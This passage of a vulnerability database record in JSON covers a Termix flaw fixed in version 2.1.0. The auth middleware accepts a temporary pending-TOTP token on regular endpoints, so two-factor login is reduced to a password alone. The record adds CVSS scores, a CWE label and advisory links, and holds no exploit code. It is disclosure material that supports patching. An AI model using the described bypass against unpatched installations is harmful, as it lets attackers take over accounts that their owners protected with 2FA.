Prior to version 2.1.0, /users/login issues a temporary JWT (temp_token) for TOTP-enabled accounts. That token carries a pendingTOTP state and should only be valid for the second-factor flow. However, the auth middleware accepts this token on regular authenticated endpoints. This effectively turns 2FA into single-factor (password) for impacted accounts. This issue has been patched in version 2.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-304"}]}], "references": [{"url": "https://github.com/Termix-SSH/Termix/releases/tag/release-2.1.0-tag", "source": "[email protected]"}, {"url": "https://github.com/Termix-SSH/Termix/security/advisories/GHSA-vx59-rf9w-9jv8", "source": "[email protected]"}, {"url": "https://github.com/Termix-SSH/Termix/security/advisories/GHSA-vx59-rf9w-9jv8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}
